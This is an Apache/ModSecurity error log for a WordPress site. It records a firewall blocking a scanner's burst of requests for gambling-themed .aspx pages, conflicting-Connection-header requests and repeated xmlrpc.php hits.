[Mon Feb 09 11:23:37.086089 2026] [:error] [pid 47937:tid 47967] [client 54.36.60.45:36956] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYlTOc4Fd42MP2DhNrWC6AAAABU"]
[Mon Feb 09 11:23:39.071374 2026] [:error] [pid 60589:tid 60591] [client 54.36.60.45:36972] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYlTOzIJyhPWC0JyMLwQ1QAAAcA"]
[Mon Feb 09 11:23:41.058977 2026] [:error] [pid 60679:tid 60730] [client 54.36.60.45:36984] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYlTPcixhoT1e6Iv6g-CTwAAA0E"]
[Mon Feb 09 11:23:43.042968 2026] [:error] [pid 47938:tid 47980] [client 54.36.60.45:36998] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYlTP7VCzWE6fQJEkNKOFgAAAEE"]
[Mon Feb 09 11:23:45.026048 2026] [:error] [pid 60508:tid 60521] [client 54.36.60.45:59842] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYlTQeXDvLC4ADfnEzNcNgAAAYs"]
[Mon Feb 09 11:23:46.858156 2026] [:error] [pid 60508:tid 60527] [client 54.36.60.45:59844] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYlTQuXDvLC4ADfnEzNcPAAAAZE"]
[Mon Feb 09 11:23:48.842980 2026] [:error] [pid 47938:tid 47998] [client 54.36.60.45:59856] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYlTRLVCzWE6fQJEkNKOGwAAAFM"]
[Mon Feb 09 11:23:50.825451 2026] [:error] [pid 60677:tid 60742] [client 54.36.60.45:59870] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYlTRlyBgzfmDf6GaesHiwAAAs8"]
[Mon Feb 09 11:25:02.975957 2026] [:error] [pid 60589:tid 60613] [client 54.36.60.45:51132] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aYlTjjIJyhPWC0JyMLwRTgAAAdY"]
[Mon Feb 09 11:25:05.022717 2026] [:error] [pid 60589:tid 60615] [client 54.36.60.45:34932] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYlTkTIJyhPWC0JyMLwRUAAAAdg"]
[Mon Feb 09 11:25:07.025360 2026] [:error] [pid 47938:tid 47988] [client 54.36.60.45:34948] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYlTk7VCzWE6fQJEkNKO6AAAAEk"]
[Mon Feb 09 11:25:09.041357 2026] [:error] [pid 60619:tid 60642] [client 54.36.60.45:34958] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYlTlXEpg0UoeR8kJ-28GgAAAkI"]
[Mon Feb 09 11:25:11.034679 2026] [:error] [pid 47937:tid 47947] [client 54.36.60.45:34970] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYlTl84Fd42MP2DhNrWDSAAAAAE"]
[Mon Feb 09 11:25:13.037386 2026] [:error] [pid 60678:tid 60771] [client 54.36.60.45:34978] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYlTme8Gd_fDFrcNu4NVqgAAAxA"]
[Mon Feb 09 11:25:16.037286 2026] [:error] [pid 60619:tid 60641] [client 54.36.60.45:49106] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYlTnHEpg0UoeR8kJ-28HgAAAkE"]
[Mon Feb 09 11:25:17.973076 2026] [:error] [pid 47938:tid 47995] [client 54.36.60.45:49112] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYlTnbVCzWE6fQJEkNKO8gAAAFA"]
[Mon Feb 09 11:25:20.612475 2026] [:error] [pid 18303:tid 18314] [client 54.36.60.45:49116] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYlToEY7TEaZkFrGG4k-kQAAAQk"]
[Mon Feb 09 11:25:22.612462 2026] [:error] [pid 60676:tid 60687] [client 54.36.60.45:49128] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYlTonhKcn7mJYMx5_BE6gAAAoM"]
[Mon Feb 09 11:25:24.605535 2026] [:error] [pid 60619:tid 60671] [client 54.36.60.45:44098] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYlTpHEpg0UoeR8kJ-28JgAAAlU"]
[Mon Feb 09 11:25:26.444791 2026] [:error] [pid 18303:tid 18327] [client 54.36.60.45:44104] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYlTpkY7TEaZkFrGG4k-mgAAARY"]
[Mon Feb 09 11:25:28.467892 2026] [:error] [pid 60676:tid 60703] [client 54.36.60.45:44106] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYlTqHhKcn7mJYMx5_BE8AAAApM"]
[Mon Feb 09 11:25:30.472454 2026] [:error] [pid 47938:tid 47987] [client 54.36.60.45:44118] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYlTqrVCzWE6fQJEkNKO_wAAAEg"]
[Mon Feb 09 11:25:32.471709 2026] [:error] [pid 47937:tid 47953] [client 54.36.60.45:44124] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYlTrM4Fd42MP2DhNrWDYAAAAAc"]
[Mon Feb 09 11:25:34.466809 2026] [:error] [pid 47937:tid 47963] [client 54.36.60.45:42394] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYlTrs4Fd42MP2DhNrWDZAAAABE"]
[Mon Feb 09 11:25:36.467009 2026] [:error] [pid 60677:tid 60742] [client 54.36.60.45:42406] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYlTsFyBgzfmDf6GaesIswAAAs8"]
[Mon Feb 09 11:25:38.472365 2026] [:error] [pid 60677:tid 60713] [client 54.36.60.45:42422] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYlTslyBgzfmDf6GaesItgAAAsI"]
[Mon Feb 09 11:25:40.470934 2026] [:error] [pid 60679:tid 60733] [client 54.36.60.45:42430] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYlTtMixhoT1e6Iv6g-C7AAAA0M"]
[Mon Feb 09 11:25:42.312401 2026] [:error] [pid 60508:tid 60523] [client 54.36.60.45:42436] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYlTtuXDvLC4ADfnEzNc5QAAAY0"]
[Mon Feb 09 11:25:44.320700 2026] [:error] [pid 47938:tid 47991] [client 54.36.60.45:55798] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYlTuLVCzWE6fQJEkNKPFwAAAEw"]
[Mon Feb 09 11:25:46.336661 2026] [:error] [pid 60508:tid 60525] [client 54.36.60.45:55808] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYlTuuXDvLC4ADfnEzNc6AAAAY8"]
[Mon Feb 09 11:25:48.331177 2026] [:error] [pid 60678:tid 60751] [client 54.36.60.45:55818] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYlTvO8Gd_fDFrcNu4NVxwAAAwk"]
[Mon Feb 09 11:25:50.329493 2026] [:error] [pid 60619:tid 60668] [client 54.36.60.45:55834] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYlTvnEpg0UoeR8kJ-28RwAAAlI"]
[Mon Feb 09 11:25:53.185995 2026] [:error] [pid 60508:tid 60525] [client 54.36.60.45:55844] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYlTweXDvLC4ADfnEzNc9gAAAY8"]
[Mon Feb 09 11:26:58.457362 2026] [:error] [pid 60589:tid 60592] [client 54.36.60.45:59374] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aYlUAjIJyhPWC0JyMLwRrgAAAcE"]
[Mon Feb 09 11:27:00.420471 2026] [:error] [pid 18303:tid 18327] [client 54.36.60.45:44428] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aYlUBEY7TEaZkFrGG4k-3AAAARY"]
[Mon Feb 09 11:27:02.398296 2026] [:error] [pid 47937:tid 47952] [client 54.36.60.45:44440] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYlUBs4Fd42MP2DhNrWDtAAAAAY"]
[Mon Feb 09 11:27:04.371045 2026] [:error] [pid 60508:tid 60526] [client 54.36.60.45:46812] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aYlUCOXDvLC4ADfnEzNdOgAAAZA"]
[Mon Feb 09 11:27:06.200751 2026] [:error] [pid 18303:tid 18312] [client 54.36.60.45:46824] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aYlUCkY7TEaZkFrGG4k-6QAAAQc"]
[Mon Feb 09 11:57:04.241126 2026] [:error] [pid 60676:tid 60690] [client 43.153.102.138:41678] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYlbEHhKcn7mJYMx5_BKzwAAAoY"]
[Mon Feb 09 12:30:50.327685 2026] [:error] [pid 60508:tid 60516] [client 47.86.33.61:48834] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYli-uXDvLC4ADfnEzNrBgAAAYY"]
[Mon Feb 09 12:30:53.979597 2026] [:error] [pid 60677:tid 60712] [client 88.198.14.6:51274] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYli_VyBgzfmDf6GaesibAAAAsE"]
[Mon Feb 09 12:31:24.033279 2026] [:error] [pid 47938:tid 47993] [client 165.22.223.230:50274] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYljHLVCzWE6fQJEkNKiGQAAAE4"]
[Mon Feb 09 12:31:35.572422 2026] [:error] [pid 18303:tid 18312] [client 162.0.213.109:43738] [client 162.0.213.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.213.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYljJ0Y7TEaZkFrGG4lKXQAAAQc"]
[Mon Feb 09 12:31:50.576135 2026] [:error] [pid 60678:tid 60767] [client 144.48.182.109:57870] [client 144.48.182.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.48.182.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYljNu8Gd_fDFrcNu4Ng1gAAAw8"]
[Mon Feb 09 12:32:03.341262 2026] [:error] [pid 60677:tid 60731] [client 27.118.26.5:54120] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYljQ1yBgzfmDf6GaesirgAAAsw"]
[Mon Feb 09 15:41:25.090200 2026] [:error] [pid 60508:tid 60513] [client 209.235.136.144:49700] [client 209.235.136.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.235.136.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmPpeXDvLC4ADfnEzOW9gAAAYM"]
[Mon Feb 09 16:44:47.064832 2026] [:error] [pid 60677:tid 60718] [client 35.222.174.159:48818] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmef1yBgzfmDf6GaeuORAAAAsc"]
[Mon Feb 09 16:44:52.932962 2026] [:error] [pid 60676:tid 60701] [client 165.22.223.230:44350] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmehHhKcn7mJYMx5_CB6gAAApE"]
[Mon Feb 09 16:45:03.228240 2026] [:error] [pid 60677:tid 60713] [client 81.88.52.233:43892] [client 81.88.52.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmej1yBgzfmDf6GaeuOSQAAAsI"]
[Mon Feb 09 16:45:37.826976 2026] [:error] [pid 47938:tid 48003] [client 103.218.123.187:52644] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmesbVCzWE6fQJEkNL1RQAAAFg"]
[Mon Feb 09 16:45:46.322168 2026] [:error] [pid 60676:tid 60690] [client 103.218.123.187:52650] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmeunhKcn7mJYMx5_CCEQAAAoY"]
[Mon Feb 09 16:58:29.804244 2026] [:error] [pid 60677:tid 60762] [client 43.130.78.203:38002] [client 43.130.78.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYmhtVyBgzfmDf6GaeuTAQAAAtQ"]
[Mon Feb 09 17:00:36.415644 2026] [:error] [pid 47938:tid 47983] [client 206.81.24.246:36544] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.24.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmiNLVCzWE6fQJEkNL5pQAAAEQ"]
[Mon Feb 09 17:22:34.498703 2026] [autoindex:error] [pid 60677:tid 60742] [client 74.7.241.35:43702] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/wpforms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/contact/
[Mon Feb 09 17:22:39.582872 2026] [autoindex:error] [pid 60677:tid 60737] [client 74.7.241.35:43702] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/contact/
